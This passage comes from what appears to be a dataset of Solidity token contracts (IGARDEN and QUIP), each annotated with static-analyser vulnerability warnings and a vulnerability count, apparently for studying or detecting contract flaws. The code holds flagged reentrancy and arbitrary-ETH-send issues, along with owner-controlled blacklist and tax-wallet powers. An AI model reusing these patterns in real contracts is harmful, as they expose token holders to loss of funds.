constant \n\t// Recommendation for bb55193: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Infinite Garden\";\n\n string private constant _symbol = unicode\"IGARDEN\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d147b7c): IGARDEN._taxSwapThreshold should be constant \n\t// Recommendation for d147b7c: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 171b094): IGARDEN._maxTaxSwap should be constant \n\t// Recommendation for 171b094: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1d1b230): IGARDEN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1d1b230: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 639916f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 639916f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5b373c0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5b373c0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 639916f\n\t\t// reentrancy-benign | ID: 5b373c0\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 639916f\n\t\t// reentrancy-benign | ID: 5b373c0\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebf9e69): IGARDEN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ebf9e69: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5b373c0\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 639916f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7ac43db): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7ac43db: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 97daf63): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 97daf63: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 2, \"Only 2 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 7ac43db\n\t\t\t\t// reentrancy-eth | ID: 97daf63\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 7ac43db\n\t\t\t\t\t// reentrancy-eth | ID: 97daf63\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 97daf63\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 97daf63\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 97daf63\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 7ac43db\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 97daf63\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 97daf63\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 7ac43db\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 7ac43db\n\t\t// reentrancy-events | ID: 639916f\n\t\t// reentrancy-benign | ID: 5b373c0\n\t\t// reentrancy-eth | ID: 97daf63\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 3cb0889): IGARDEN.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 3cb0889: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 7ac43db\n\t\t// reentrancy-events | ID: 639916f\n\t\t// reentrancy-eth | ID: 97daf63\n\t\t// arbitrary-send-eth | ID: 3cb0889\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 68058be): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 68058be: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 11adf86): IGARDEN.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 11adf86: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 128dace): IGARDEN.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 128dace: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8b288ff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8b288ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 68058be\n\t\t// reentrancy-eth | ID: 8b288ff\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 68058be\n\t\t// unused-return | ID: 128dace\n\t\t// reentrancy-eth | ID: 8b288ff\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 68058be\n\t\t// unused-return | ID: 11adf86\n\t\t// reentrancy-eth | ID: 8b288ff\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 68058be\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8b288ff\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10104.sol",
"size_bytes": 19724,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Project {\n address public marketingWallet = 0xe5B31DE648bb9A5dAC7589d1A7C59646f19FcbDc;\n\n address public devWallet = 0xe5B31DE648bb9A5dAC7589d1A7C59646f19FcbDc;\n\n string constant _name = \"QuantumQuip\";\n\n string constant _symbol = \"QUIP\";\n\n uint8 constant _decimals = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: f5c46f4): Project._totalSupply should be constant \n\t// Recommendation for f5c46f4: Add the 'constant' attribute to state variables that never change.\n uint256 _totalSupply = 1 * 10 ** 10 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = (_totalSupply * 10) / 1000;\n\n uint256 public _maxWalletToken = (_totalSupply * 10) / 1000;\n\n\t// WARNING Optimization Issue (constable-states | ID: e17c406): Project.buyFee should be constant \n\t// Recommendation for e17c406: Add the 'constant' attribute to state variables that never change.\n uint256 public buyFee = 20;\n\n uint256 public buyTotalFee = buyFee;\n\n uint256 public swapLpFee = 20;\n\n uint256 public swapMarketing = 0;\n\n uint256 public swapTreasuryFee = 0;\n\n uint256 public swapTotalFee = swapMarketing + swapLpFee + swapTreasuryFee;\n\n uint256 public transFee = 0;\n\n uint256 public feeDenominator = 100;\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function getOwner() external view returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes memory) {\n this;\n\n return msg.data;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n address private _previousOwner;\n\n uint256 private _lockTime;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n\n function geUnlockTime() public view returns (uint256) {\n return _lockTime;\n }\n\n function lock(uint256 time) public virtual onlyOwner {\n _previousOwner = _owner;\n\n _owner = address(0);\n\n _lockTime = block.timestamp + time;\n\n emit OwnershipTransferred(_owner, address(0));\n }\n\n function unlock() public virtual {\n require(\n _previousOwner == msg.sender,\n \"You don't have permission to unlock\"\n );\n\n\t\t// timestamp | ID: 5d2f2e0\n require(block.timestamp > _lockTime, \"Contract is locked until 7 days\");\n\n emit OwnershipTransferred(_owner, _previousOwner);\n\n _owner = _previousOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint) external view returns (address pair);\n\n function allPairsLength() external view returns (uint);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(address indexed owner, address indexed spender, uint value);\n\n event Transfer(address indexed from, address indexed to, uint value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint);\n\n function balanceOf(address owner) external view returns (uint);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint);\n\n function approve(address spender, uint value) external returns (bool);\n\n function transfer(address to, uint value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint);\n\n function permit(\n address owner,\n address spender,\n uint value,\n uint deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint amount0, uint amount1);\n\n event Burn(\n address indexed sender,\n uint amount0,\n uint amount1,\n address indexed to\n );\n\n event Swap(\n address indexed sender,\n uint amount0In,\n uint amount1In,\n uint amount0Out,\n uint amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint);\n\n function price1CumulativeLast() external view returns (uint);\n\n function kLast() external view returns (uint);\n\n function mint(address to) external returns (uint liquidity);\n\n function burn(address to) external returns (uint amount0, uint amount1);\n\n function swap(\n uint amount0Out,\n uint amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountToken, uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function swapExactTokensForTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapTokensForExactTokens(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactETHForTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function swapTokensForExactETH(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactTokensForETH(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapETHForExactTokens(\n uint amountOut,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n\n function getAmountsOut(\n uint amountIn,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n\n function getAmountsIn(\n uint amountOut,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ncontract quantContract is Project, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: d5f5470): quantContract.DEAD should be constant \n\t// Recommendation for d5f5470: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Optimization Issue (constable-states | ID: a13a626): quantContract.ZERO should be constant \n\t// Recommendation for a13a626: Add the 'constant' attribute to state variables that never change.\n address ZERO = 0x0000000000000000000000000000000000000000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) isMaxExempt;\n\n mapping(address => bool) isTimelockExempt;\n\n address public autoLiquidityReceiver;\n\n uint256 targetLiquidity = 20;\n\n uint256 targetLiquidityDenominator = 100;\n\n IUniswapV2Router02 public immutable contractRouter;\n\n address public immutable uniswapV2Pair;\n\n bool public tradingOpen = false;\n\n bool public buyCooldownEnabled = true;\n\n uint8 public cooldownTimerInterval = 10;\n\n mapping(address => uint) private cooldownTimer;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1fd8abf): quantContract.swapEnabled should be constant \n\t// Recommendation for 1fd8abf: Add the 'constant' attribute to state variables that never change.\n bool public swapEnabled = true;\n\n uint256 public swapThreshold = (_totalSupply * 30) / 10000;\n\n uint256 public swapAmount = (_totalSupply * 30) / 10000;\n\n bool inSwap;\n\n modifier swapping() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n contractRouter = _uniswapV2Router;\n\n _allowances[address(this)][address(contractRouter)] = type(uint256).max;\n\n isFeeExempt[msg.sender] = true;\n\n isTxLimitExempt[msg.sender] = true;\n\n isMaxExempt[msg.sender] = true;\n\n isTimelockExempt[msg.sender] = true;\n\n isTimelockExempt[DEAD] = true;\n\n isTimelockExempt[address(this)] = true;\n\n isFeeExempt[marketingWallet] = true;\n\n isMaxExempt[marketingWallet] = true;\n\n isTxLimitExempt[marketingWallet] = true;\n\n autoLiquidityReceiver = msg.sender;\n\n _balances[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n receive() external payable {}\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n function symbol() external pure override returns (string memory) {\n return _symbol;\n }\n\n function name() external pure override returns (string memory) {\n return _name;\n }\n\n function getOwner() external view override returns (address) {\n return owner();\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function approveMax(address spender) external returns (bool) {\n return approve(spender, type(uint256).max);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferFrom(msg.sender, recipient, amount);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferFrom(sender, recipient, amount);\n }\n\n function setMaxWalletPercent_base1000(\n uint256 maxWallPercent_base1000\n ) external onlyOwner {\n _maxWalletToken = (_totalSupply * maxWallPercent_base1000) / 1000;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 96bf3aa): quantContract.setMaxTxPercent_base1000(uint256) should emit an event for _maxTxAmount = (_totalSupply * maxTXPercentage_base1000) / 1000 \n\t// Recommendation for 96bf3aa: Emit an event for critical parameter changes.\n function setMaxTxPercent_base1000(\n uint256 maxTXPercentage_base1000\n ) external onlyOwner {\n\t\t// events-maths | ID: 96bf3aa\n _maxTxAmount = (_totalSupply * maxTXPercentage_base1000) / 1000;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ebe8a2c): quantContract.setTxLimit(uint256) should emit an event for _maxTxAmount = amount \n\t// Recommendation for ebe8a2c: Emit an event for critical parameter changes.\n function setTxLimit(uint256 amount) external onlyOwner {\n\t\t// events-maths | ID: ebe8a2c\n _maxTxAmount = amount;\n }\n\n function burnTokens(uint256 amount) external {\n if (_balances[msg.sender] > amount) {\n _basicTransfer(msg.sender, DEAD, amount);\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: ef8058c): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for ef8058c: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 785d01a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 785d01a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d430ea9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d430ea9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (sender != owner() && recipient != owner()) {\n require(tradingOpen, \"Trading not open yet\");\n }\n\n bool inSell = (recipient == uniswapV2Pair);\n\n bool inTransfer = (recipient != uniswapV2Pair &&\n sender != uniswapV2Pair);\n\n if (\n recipient != address(this) &&\n recipient != address(DEAD) &&\n recipient != uniswapV2Pair &&\n recipient != marketingWallet &&\n recipient != devWallet &&\n recipient != autoLiquidityReceiver\n ) {\n uint256 heldTokens = balanceOf(recipient);\n\n if (!isMaxExempt[recipient]) {\n require(\n (heldTokens + amount) <= _maxWalletToken,\n \"Total Holding is currently limited, you can not buy that much.\"\n );\n }\n }\n\n if (\n sender == uniswapV2Pair &&\n buyCooldownEnabled &&\n !isTimelockExempt[recipient]\n ) {\n\t\t\t// timestamp | ID: ef8058c\n require(\n cooldownTimer[recipient] < block.timestamp,\n \"Please wait for 1min between two buys\"\n );\n\n cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;\n }\n\n if (!isTxLimitExempt[recipient]) {\n checkTxLimit(sender, amount);\n }\n\n _balances[sender] = 